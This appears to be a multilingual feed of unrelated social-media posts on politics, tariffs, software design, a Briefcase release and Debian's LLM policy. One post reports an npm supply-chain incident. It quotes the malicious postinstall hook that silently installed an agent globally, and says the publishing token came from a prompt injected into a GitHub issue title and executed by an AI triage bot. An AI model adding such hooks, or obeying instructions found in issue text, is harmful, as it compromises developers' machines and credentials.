Habe mir eben die Rede von Frau Schwesig im Bundestag zum -Media-Verbot im Nachhinein noch mal ganz angehört. Ich musste früher los. Nämlich zu unserem Fachgespräch zum Social-Media-Verbot und zur Und nunja. Ich habe nach den Inputs der Expert*innen noch viel mehr den Eindruck als vorher, dass die Rede inhaltlich wenig Substanz hatte. Die Vergleiche sind teilweise sowas von wild und weit hergeholt. Wie man das umsetzen will ist mir immer noch nicht klar. Und welche massiven Konsequenzen das für uns alle hat spielt keine Rolle. Aber hauptsache man spricht uns erst mal sämtliche Kompetenz ab. Läuft.

Fachgespräch war ganz toll und super interessant und ich bin jetzt sehr viel schlauer. :3

Reuters: Skupina 24 států USA se rozhodla zažalovat administrativu amerického prezidenta Donalda Trumpa kvůli zavedení nového globálního cla stanoveného na deset procent. Požaduje, aby soud clo zablokoval a nařídil vrácení peněz, které už byly vybrány.

Thank you, Stefano, for sharing this! I’d add that some choices fall into the realm of ‘ideal’ or 'not ideal’ rather than right or wrong. We can look at the end result rather than solely focusing on the best way to get there.

Yesterday I advised someone to continue keeping Word docs on their desktop rather than organising them elsewhere, because their current system is working (for now) and any changes at this point would lead to overwhelm. One step at a time!

🌕 優秀的軟體懂得適可而止
➤ 當`ls`指令開始跟你說「你好」——論軟體功能的失控邊界
ogirardot.writizzy.com/p/good-
本文以虛構的`ls`指令被強制升級為AI驅動的「ALS」系統為引,批判當今軟體盲目追求AI化的現象。作者透過幽默的技術公告體,諷刺開發者為追逐熱潮而犧牲工具核心價值的荒謬性。文中援引37Signals的產品哲學,強調「限制即優勢」「對需求說不」等六項原則,指出成熟的軟體應堅守解決特定問題的本質,而非無止境擴張功能。最終呼籲業界回歸理性:成為某領域的實質標準,遠勝於強行披掛AI外衣。
+ 太寫實了!現在每款工具都硬塞AI功能,連計算機都要「理解我的數學需求」,根本本末倒置。
+ 37Signals的「抓癢理論」始終適用——開發者自己都不用的功能,憑什麼塞給用戶?

Just absolutely no regard for security at all. None. The entire burden of self-protection shifted to humans alone at their endpoints in systems and communities entirely, foundationally built on mutual trust and trustworthiness.

On February 17, 2026, someone published cline@2.3.0 to npm. The CLI binary was byte-identical to the previous version. The only change was one line in package.json:

"postinstall": "npm install -g openclaw@latest"

For the next eight hours, every developer who installed or updated Cline got OpenClaw - a separate AI agent with full system access - installed globally on their machine without consent. Approximately 4,000 downloads occurred before the package was pulled1.

The interesting part is not the payload. It is how the attacker got the npm token in the first place: by injecting a prompt into a GitHub issue title, which an AI triage bot read, interpreted as an instruction, and executed.

Briefcase v0.4.0 has been released! This is a big release, with a significant behavioral change: Briefcase’s development mode now runs apps in an isolated development environment. This should remove some common sources of error, and paves the way for better compatibility with tools like `uv`. It also adds debugging mode for Android apps, and a new plugin interface for publishing apps - with a PythonAnywhere plugin for web deployment already available!

The proposed handling of LLM in Debian in the latest "Bits from the DPL" is a bit concerning. It misses the mark by acknowledging issues with LLM usage, and then dismisses them all by saying that "As a society, we rarely respond with categorical refusal. Instead, we regulate, reflect, and take responsibility for how we use them." and suggesting absolutely no regulation or reflection (and no particular responsibility other than that which comes with any contribution).

I'm not a Debian developer, just a longtime user (and upstream for an unimportant package). But if Debian isn't the principled, ethical one, then I'm guessing no one will be.
